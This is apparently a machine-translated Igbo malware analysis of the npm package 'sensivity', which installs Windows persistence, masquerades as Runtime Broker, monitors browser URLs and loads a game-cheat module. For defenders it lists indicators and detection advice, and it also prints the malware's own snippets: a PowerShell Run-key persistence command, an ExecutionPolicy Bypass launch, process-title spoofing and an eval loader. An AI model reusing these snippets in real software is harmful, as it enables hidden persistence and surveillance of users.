TL; DR
Ngwugwu npm mmetụta uche na-akọwa onwe ya dị ka "Panel Njikwa Mmetụta." Na Windows, ọ na-eme dị ka ngwaọrụ njikwa anya na nlekota.
Ebe ntinye ya, launcher.js, na-akpọgharị usoro nke ya ka ọ bụrụ Runtime Broker, na-ede uru Autostart Run-key nke aha ya bụ OneDriveUpdate nke na-amaliteghachi ngwugwu ahụ site na VBScript zoro ezo, na-emepụta PowerShell na -ExecutionPolicy Bypass, wee nyochaa ihe nkesa 171 KB nke a na-anaghị ekpuchi yana modulu 6.87 MB nke dị na ya, sens.node.
Ọ na-eje ozi na panel njikwa njikọta ekwentị na ọdụ ụgbọ mmiri TCP 3000 ma na-agụ URL nke adreesị ihe nchọgharị ahụ site na Windows UIAutomation, na-ekiri otu vidiyo YouTube siri ike.
A na-edozi akụkụ abụọ nke a na-agụ na mbụ dị ka igbe ojii. Ihe nkesa ahụ gbara ọchịchịrị, server.obf.js, na-eji usoro obfuscator.io RC4 string-array; imeghari decoder ya na offline (anaghị eme JavaScript) na-eweghachi otu njedebe mpụga — https://izopi.com/check.php — yana igodo ọha RSA agbakwunyere nke ejiri iji nyochaa nzaghachi ikike edebanyere aha.
Modulu nke obodo, sens.node, anaghị ejupụta: tebụl mbubata ya na eriri ndị etinyere na ya na-akọwapụta ya dị ka DirectX 11 / Dear ImGui in-game overlay na-enye aimbot, ESP (wall-hack), na atụmatụ triggerbot, nke ntinye usoro dịpụrụ adịpụ na ebe nchekwa na-agụ/ede.
Eriri dị n'ime ya na-ezo aka na ihe ndị dị n'ụgbọala na ebe maapụ dịka GTA V / FiveM si dị. Ngwugwu npm bụ ihe mkpuchi nnyefe na nkwụsi ike gburugburu modulu ahụ.
Ihe mgbaàmà akọwapụtara na-arụ ọrụ, ọ bụghị teknụzụ: otu onye mbipụta aha ya kpụpụrụ ihe dị ka ụdị iri asaa nke otu ngwugwu - 2.5.0 site na 2.5.69 — n'ime ụbọchị ole na ole, nke ọ bụla na-ebu otu ihe eji agbapụ ihe.
Enweghị nrụnye ọ bụla hooksIbu ọrụ ahụ na-aga naanị mgbe e bidoro ngwugwu ahụ.
Mwakpo ahụ: Otu O Si Arụ Ọrụ
Sensivity na-ebufe faịlụ iri. Package.json dị obere: enweghị ebe nchekwa, enweghị ikike, aha njirimara isi na bin abụọ (sensivity, sens) niile na-atụ aka na launcher.js, yana edemede mmalite nke node launcher.js. Enweghị postinstall ma ọ bụ preinstall. Ọ dịghị ihe na-agba ọkụ na npm install. Omume akọwara n'okpuru na-agba ọsọ mgbe onye ọrụ malitere ngwugwu ahụ - site na bin shim, edemede mmalite, ma ọ bụ ihe achọrọ.
Tarbọl ahụ nwere ihe mmalite, sava gbara ọchịchịrị, modulu obodo, edemede Visual Basic, na ndekọ ọha/web maka panel njikwa. launcher.js bụ ihe nhazi a na-agụ; echiche dị mkpa n'oge ọsọ na-adị na blọb abụọ ọ na-ebu — sava gbara ọchịchịrị na modulu obodo a chịkọtara, ha abụọ edoziri n'okpuru.
Usoro masquerade na mmelite OneDrive adịgboroja
Na mmalite nke execution launcher.js, ọ na-edobe aha usoro nke ya ugboro abụọ:
javascript process.title = 'Runtime Broker'; Runtime Broker bụ usoro Windows ziri ezi (RuntimeBroker.exe) nke na-eme ka ikike ngwa dị. Ịgbanwe aha usoro Node ka ọ dakọọ pụtara ilele Task Manager ngwa ngwa na-egosi ihe na-adịghị ahụkebe.
A na-ede Persistence site na PowerShell kama API ndekọ kpọmkwem:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); A na-akpọ uru mmalite akpaka OneDriveUpdate, ọ naghịkwa atụ aka na ngwugwu ahụ ozugbo. Ọ na-atụ aka na wscript.exe na-agba OneDrive.Standalone.Updater.vbs. Akwụkwọ edemede ahụ na-amaliteghachi node launcher.js na windo zoro ezo. Ma aha Run-key na aha faịlụ VBScript gbaziri akara Microsoft, yabụ ntinye mmalite akpaka na-agụ dị ka ọrụ OneDrive nkịtị.
PowerShell nwere usoro iwu mmejuputa
Onye na-ebubata ihe na-agbagharị na PowerShell ugboro ugboro. Sink nke nyocha ahụ gosiri dị oke mkpa bụ mwepụta nke .ps1 emepụtara na-enweghị atụmatụ mmezu ya:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass na-ewepụ nyocha akara edemede mpaghara maka oku ahụ. Ederede ndị emepụtara na-ejikwa ọrụ nlekota ihe nchọgharị na nchọpụta windo akọwara na ngalaba na-esote.
Sava ahụ e gbochiri ekpuchi na modulu obodo ahụ
Mgbe ịtọlitechara ya, launcher.js ga-ebugo ma rụọ ọrụ ya nke ọma:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js bụ 171 KB nke _0x-array obfuscation — ụkpụrụ JavaScript ebe a na-eji index dochie eriri na njirimara ọ bụla n'ime usoro awara awara, wee wepụ ntụaka na oge ọsọ. Atụmatụ ahụ bụ ụdị RC4 nke obfuscator.io mepụtara: ọrụ decoder otu base64-na-akọwapụta ntinye awara wee RC4-na-akọwapụta ya na igodo oku ọ bụla. Itinyeghachi decoder ahụ na edemede dị iche — na-agba naanị mmejuputa ọzọ n'elu usoro eriri ntinye 821 ewepụtara, ọ bụghị JavaScript nke ngwugwu ahụ — na-eme ka ọ dị ọcha. Ihe ndị dị n'elu dị obere mana decisive: otu URL mpụga, https://izopi.com/check.php`, nke e kenyere na LICENSE_URL na-agbanwe agbanwe; RSA PUBLIC_KEY_PEM` agbakwunyere; ụzọ panel mpaghara /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, na /trigger/status; na eriri child_process, crypto, na [Sensivity] sens.node ebugoro — nke ikpeazụ bụ akara ndekọ kpọmkwem nke onye na-ebido na-edegharị na modulu mmemme ebugoro. Isi njedebe bụ nlele ikike: onye ahịa na-etinye ihe njirimara (ihe nkesa a na-ekpuchi ekpuchi na-ahazi Discord ID: %s eriri) na igodo RSA na-enyocha nzaghachi sava ahụ mbinye aka.
sens.node bụ mgbakwunye asụsụ ala nke 6.87 MB, ọ dịghịkwa ejupụta ya — entropy nkebi dị na 5.6–6.6, tebụl mbubata na mbupụ PE dịkwa mma, yabụ ike ya dị ozugbo. Ọ na-ebupụ napi_register_module_v1, standard Ebe ntinye Node N-API, yabụ sava eval'd na-ebugo ya na ihe achọrọ doro anya. Tebụl mbubata ya bụ ihe na-egosi. Site na KERNEL32, ọ na-adọta OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, na Process32First/NextW — ntọala canonical maka ịchọta usoro ọzọ, kesaa ebe nchekwa n'ime ya, na ịgụ ma ọ bụ ide ebe nchekwa ahụ. Site na USER32, ọ na-adọta GetAsyncKeyState, GetKeyState, mouse_event, na SetCursorPos; ọ na-ejikọ d3d11.dll, D3DCOMPILER_43, na dwmapi maka mkpuchi ihuenyo, yana ntọala WINHTTP zuru oke maka oku netwọk. Eriri ndị e tinyere n'ime ya na-akpọ atụmatụ ahụ aha na-enweghị mgbagwoju anya: Mee ka Aimbot, Aimbot FOV, Igbe ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, achọpụtara Electron Anticheat, na Dear ImGui ọkọlọtọ Dear ImGui 1.91.3 WIP. Ọnọdụ na eriri ndị dị ka Grapeseed Medical Clinic na okwu ụgbọ ala-ESP kwekọrọ na GTA V / FiveM.
Nkewa a bụ nke e bu n'obi mee: ihe ngosi a na-agụ agụ.js na-ebu naanị akụkụ nke ihe nyocha na-agụ ngwa ngwa - ntachi obi, ikpuchi, oku eval n'onwe ya - ebe ihe obfuscation na-ezochi otu kọntaktị oge ọsọ, na binary na-ejidekwa usoro egwuregwu na-ekpuchi na usoro ntinye. Ihe ngosi ahụ bụ shei dị gịrịgịrị, nke a na-enyocha; ihe nkesa a na-ekpuchi na-ezochi njirimara netwọk; modulu obodo bụ ibu ọrụ. Anyị na-akọwa mbubata na eriri binary dị ka agụpụtara; anyị anaghị aghọta ebumnuche onye ọrụ site na ha.
Ogwe njikwa njikọta ekwentị na ọdụ ụgbọ mmiri 3000
Onye na-ebuputa ihe na-ejikwa sava weebụ dị na TCP 3000 ma na-ewere ya dị ka otu olu. Ọ na-ajụ onye na-ege ntị dị adị ma na-ehichapụ ya tupu ejiri ya:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Enwere ike iru panel a na http://localhost:3000, yana URL LAN nke nwere koodu siri ike nke http://192.168.1.16:3000. Ndekọ ọha/na omume nke panel ahụ kwekọrọ na usoro njikọ QR: ekwentị na-enyocha koodu ma jikọọ na onye nnabata dị ka ihe dịpụrụ adịpụ. Enweghị ngalaba iwu na njikwa mpụga na-apụta na ederede doro anya na ihe mmalite - mana, dịka nkọwapụta dị n'elu gosiri, otu dị na sava ahụ: njedebe ikike izopi.com. Panel ahụ n'onwe ya bụ mpaghara ma nwee LAN-scope; naanị onye nnabata na-apụ apụ bụ nyocha ikike ahụ.
Ụdị onye nlekọta/onye ọrụ nkewapụrụ onwe ya na-eme ka usoro ahụ dịgide. Ihe nrụpụta ahụ na-apụta ọzọ site na ọkọlọtọ gburugburu ebe obibi SENSIVITY_SUPERVISOR na SENSIVITY_WORKER, nwa ọ bụla na-agba ọsọ zoro ezo, yabụ igbu otu usoro na-eme ka onye nche malitegharịa ya.
Nlekọta Ihe Nchọgharị na Ihe Mgbaàmà YouTube
Omume kachasị pụta ìhè bụ nlekota ihe nchọgharị. launcher.js na-ewu PowerShell nke na-adọga Windows UIAutomation iji gụọ ogwe adreesị nke ihe nchọgharị na-agba ọsọ:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern na-eweghachi ọdịnaya ederede nke ihe UI. E jiri ya na njikwa ndozi adreesị nke ihe nchọgharị, ọ na-eweghachi URL ahụ onye ihe ahụ metụtara na-elele ugbu a - na-enweghị ndọtị ihe nchọgharị, na-emetụghị profaịlụ dị na diski aka, na-enweghị njikọ API. Ederede emepụtara na-emegharị ndepụta $browserNames ma wepụta URL ma ọ bụ aha windo nke ihe nchọgharị ọ bụla dị n'ihu.
A na-anwale URL ahụ megide otu ihe mgbaru ọsọ siri ike:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Onye na-ebu ụzọ na-enyocha windo ihe nchọgharị na-egosi YouTube n'ime sekọnd atọ, PowerShell emepụtara na-ebu otu Get-YouTubeBrowser / Test-TargetYouTubeUrl nke dabara na ID vidiyo ahụ. Mmetụta a na-ahụ anya dị okpukpu abụọ: a na-agụ URL nchọgharị na-arụ ọrụ na ihuenyo onye ahụ metụtara, a na-achọpụtakwa mmekọrịta onye ọbịa na otu vidiyo YouTube kpọmkwem. Anyị na-akọwa usoro na ihe mgbaru ọsọ; anyị anaghị akọwa ihe kpatara ya.
Ọgụgụ adreesị bụ ihe nyocha ahụ kpọrọ sensitive_data_enumeration — usoro::env na isi mmalite UIAutomation na-enye oge ọrụ netwọk nwere ike ịrụ ọrụ. Ọ dị mma ma na-edozi naanị ozugbo achọpụtara usoro ndụ data site na isi mmalite UIAutomation gaa na sava ahụ.
Usoro iheomume na Mmalite nke Ụdị
Mmetụta abụghị ihe a na-ebugo otu ugboro. Akaụntụ onye mbipụta ahụ nwere ihe dị ka ụdị iri asaa ebipụtara nke otu ngwugwu a, ndị ọhụrụ na-abatakwa n'oge windo nyocha ahụ. Onye na-ebugo ya na-etolite atụmatụ site na njirimara n'ofe ahịrị 2.5.x ebe nkwụsi ike ya na ibu ọrụ ya na-anọgide na-edozi.
| Ụbọchị (UTC) | A hụrụ ụdị ndị ahụ | Ọnọdụ mmalite |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Ihe mmalite QR-panel; Nkwụsi ike igodo na-agba ọsọ; value nke sava a na-anaghị ekpuchi. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Otu akara mkpịsị aka ahụ; njikwa ihe njikwa-trace. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Agbakwunyere ebumnuche njikọ aka YouTube a kpọchiri akpọchi wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Mbipụta ọzọ nke oghere na-ejupụta n'ofe usoro ahụ; onye nlekọta/onye ọrụ na-ahụ maka ya. |
Ịgụ ihe mmalite ahụ n'ofe ndị nnọchite anya ebudatara — 2.5.0, 2.5.36, na 2.5.69 — na-egosi ọkwa anọ. Ihe owuwu mbụ ahụ nwere ihe mmalite QR-pairing. Site na 2.5.33 ihe na-ewe ihe ubi adreesị UIAutomation pụtara. Site na 2.5.58, a na-agbakwunye oyi akwa njikwa onye nlekọta. Site na 2.5.64, onye nlekọta/onye ọrụ nkewa na-emecha ihe nhazi ahụ. N'oge niile, ihe anọ anaghị agbanwe agbanwe: igodo OneDriveUpdate Run, ihe na-adọkpụ OneDrive.Standalone.Updater.vbs, ihe eval'd server.obf.js, na modulu sens.node.
Ebili mmiri nke 2026-06-05 pụtara ìhè n'ihi na o bipụtaghachiri ọnụọgụgụ ụdị dị ala — 2.5.0 ruo 2.5.15 — nke dị n'okpuru ụdị ndị ekwenyesiri ike ụbọchị ole na ole gara aga. Mmetụta ya bụ ahịrị 2.5.x dị n'akụkụ ndekọ ahụ, ụdị ọ bụla nwere otu ihe mmalite ahụ.
Ihe ngosi nke nkwekọrịta
A gụrụ ihe ngosi niile dị n'okpuru ozugbo site na ngwugwu tarball. Ihe mmalite a na-agụ nwere ike ibu naanị loopback na otu adreesị LAN nkeonwe; otu aha nnabata mpụga, izopi.com, ka ewepụtara site na deobfuscating server.obf.js na-anọghị n'ịntanetị.
| ụdị | egosi | Notes |
|---|---|---|
| ngwugwu | npm:sensivity (Nsụgharị ≈70, 2.5.0-2.5.69) | Onye mbipụta otu ngwugwu; enweghị ebe nchekwa; enweghị ikike. |
| File | launcher.js | Onye na-ahazi egwu a na-agụ agụ; isi na ihe mgbaru ọsọ nke ihe mkpofu. |
| File | server.obf.js (≈171 KB) | ibu ọrụ obfuscator.io RC4 string-array, ebugoro site na eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | PE32+ x86-64 Ihe mgbakwunye N-API nke Node; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Ihe nrụpụta zoro ezo (node launcher.js). |
| Network | https://izopi.com/check.php | E nwetala njedebe ikike/nkwenye site na sava ahụ e gbochiri ekpuchi; igodo ọha RSA etinyere na-enyocha nzaghachi. |
| Ike | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ike ịgụ/ide ihe n'ime usoro dị anya na ebe nchekwa. |
| Ike | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui overlay egwuregwu na-etinye atụmatụ aimbot, ESP, na triggerbot. |
| Ndebanye aha | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Uru mmalite akpaka na-egosi na wscript.exe na ihe mmalite VBScript. |
| usoro | process.title = 'Runtime Broker' | Na-eme ka ọ dị ka usoro Windows Runtime Broker ziri ezi. |
| Omume | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | A na-eji usoro iwu mmejuputa eme ihe maka edemede PowerShell emepụtara. |
| Omume | UIAutomation ValuePattern ịgụ nke ihe nchọgharị adreesị mmanya | Na-agụ URL nke windo ihe nchọgharị dị n'ihu. |
| Omume | NJ vidiyo ebumnuche wJWta2lO0Lw; Ntuli aka YouTube nke sekọnd atọ | Mgbaàmà nlekota njikọ aka nke a kpọchiri akpọchi. |
| Network | http://localhost:3000, daghachi azụ http://192.168.1.16:3000 | E gosipụtara panel njikwa nke QR-pairing n'ógbè na na LAN. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Ọkọlọtọ nhazi usoro nlekọta nkewapụrụ iche. |
Njirimara, Mmetụta, na Ndị Na-agbachitere
Otu akaụntụ npm nke ozi email ya bụ adreesị Gmail a na-anaghị enyocha ebipụtara ngwugwu a. Akaụntụ ahụ nwere akara aha ndekọ na-adịghị mma nke ukwuu, na-edobe ma na-ebipụta naanị otu ngwugwu a, enweghịkwa ebe nchekwa isi mmalite ejikọtara. Anyị ekwenyeghị na onye nwe email ahụ, anyị na-akọwakwa mkpọsa ahụ nye akaụntụ onye mbipụta, ọ bụghị onye ọ bụla a kpọrọ aha. Onye na-ebubata ya enweghị akụrụngwa ederede doro anya, mana otu onye nnabata mpụga ka a maara ugbu a: kọntaktị sava a na-ekpuchi na izopi.com maka nlele ikike, na modulu nke obodo - nke a na-agụ site na tebụl mbubata ya na eriri kama ịtụgharị ntuziaka - bụ ihe mkpuchi egwuregwu nke na-etinye ma na-agụ ebe nchekwa nke usoro ọzọ.
Mmetụta a na-ahụ anya na-adakwasị ndị ọrụ Windows bụ ndị na-etinye ma na-agba ọsọ mmetụta uche na-atụ anya ngwa njikwa-panel. Na ndị ọbịa ndị ahụ, ngwugwu ahụ na-eme ka mmalite mmalite akpaka dị ka ọrụ OneDrive, na-akpọ aha ya ka ọ bụrụ usoro sistemụ, na-agụ URL nke ihe ọ bụla onye ọrụ na-achọgharị, ma na-eguzobe panel njikọ nke na-ejikọ igwe ahụ na ihe dịpụrụ adịpụ n'elu netwọk mpaghara. Onye nlekọta/onye ọrụ na-ahụ maka ihe na-ahụ anya pụtara na otu ogbugbu usoro anaghị ewepụ ya; ntinye igodo Run-key na-adịgide na-amaliteghachi. macOS na Linux abụghị ndị na-ebu ụzọ na-elekwasị anya — ụzọ nkwụsi ike, PowerShell, na UIAutomation bụ naanị Windows.
Mwepụ nke ụdị iri asaa bụ usoro kwesịrị ịrịba ama. Mbipụta otu ngwugwu ugboro ole na ole n'ime ụbọchị ole na ole, gụnyere ọnụọgụ mbipụta ndị e tinyere n'azụ n'okpuru ndị ewepụrụla, na-edobe otu akwụkwọ ndekọ dị ndụ n'etiti mwepụ na-eme ka ndepụta mkpọchi ndị e tinyere n'ụdị ahụ ghara ịdị mma. Ntinye ndepụta mkpọchi maka sensivity@2.5.61 anaghị eme ihe ọ bụla megide sensivity@2.5.3 echi ya.
Ndị dọkịta nwere ike ime ihe ndị a:
- Gbochie mmetụta aha ngwugwu ahụ kpọmkwem na ndepụta ndị na-anọchite anya ndekọ na ndepụta ndị na-ekwe ka CI tinye. Ịtinye ụdị nke ọ bụla na-efunahụ kadence ọzọ; aha ahụ bụ ihe ngosi na-adịgide adịgide.
- Chọọ uru Run aha ya bụ OneDriveUpdate nke data ya na-akpọ wscript.exe megide .vbs n'ụzọ onye ọrụ ọ bụla. Edeghị aha ezigbo mmelite OneDrive n'ụzọ a.
- Ịdọ aka ná ntị maka usoro Node.js nke aha process.js bụ Runtime Broker.exe. Onye na-ere ahịa n'ezie bụ RuntimeBroker.exe, ọ bụghị Node runtime.
- Kọwaa npm oge ntinye nke ngwugwu ndị na-ebuga mgbakwunye .node chịkọtara tinyere eval(fs.readFileSync(…)) nke faịlụ nwanne .obf.js. Njikọ ahụ — ọnụọgụ abụọ nkịtị a na-adịghị ahụkebe nke etinyere n'akụkụ ibu ederede a na-adịghị ahụkebe — bụ ihe nhazi ebe a, n'adabereghị na eriri IOC ọ bụla.
- Ghọta onye ọ bụla na-ege ntị na ọdụ ụgbọ mmiri 3000 nke usoro Node a na-atụghị anya ya kpatara dị ka onye a na-enyo enyo na njedebe Windows ejiri.
- Gbochie ma ọ bụ dọọ aka ná ntị maka arịrịọ ndị na-apụ na izopi.com site n'aka ndị mmepe ma ọ bụ ndị na-eji ya eme ihe; ọ bụ naanị njedebe mpụga nke ngwugwu ahụ, nke e ruru na /check.php site na sava ahụ.
- Maka mgbakwunye .node ọ bụla ejikọtara ọnụ, lelee tebụl mbubata ya tupu ị tụkwasị ya obi. Njikọta OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread bụ ntinye usoro dịpụrụ adịpụ n'agbanyeghị ihe ngwugwu ahụ na-ekwu na ọ na-eme; ebe a ọ dị n'akụkụ mkpuchi Direct3D na aimbot/ESP/triggerbot.
Maka nyocha-static pipelines, ọdịdị nkwenye ahụ na-adịgide adịgide n'ofe mgbanwe ụdị ahụ: profaịlụ nrụnye na-abụghị netwọk, ọrụ nhazi aha usoro na aha usoro sistemụ a maara, ide igodo Run site na PowerShell, na value nke faịlụ agụpụtara na diski. Ọ dịghị nke ọ bụla n'ime ha dabere na ngalaba, IP, ma ọ bụ nọmba ụdị nke mbipụta ọzọ nwere ike ịtụgharị.
References
[npm: mmetụta uche] – ibe ndekọ maka ahịrị ụdị ngwugwu a tụlere ebe a; enwere ike iwepụ ya.
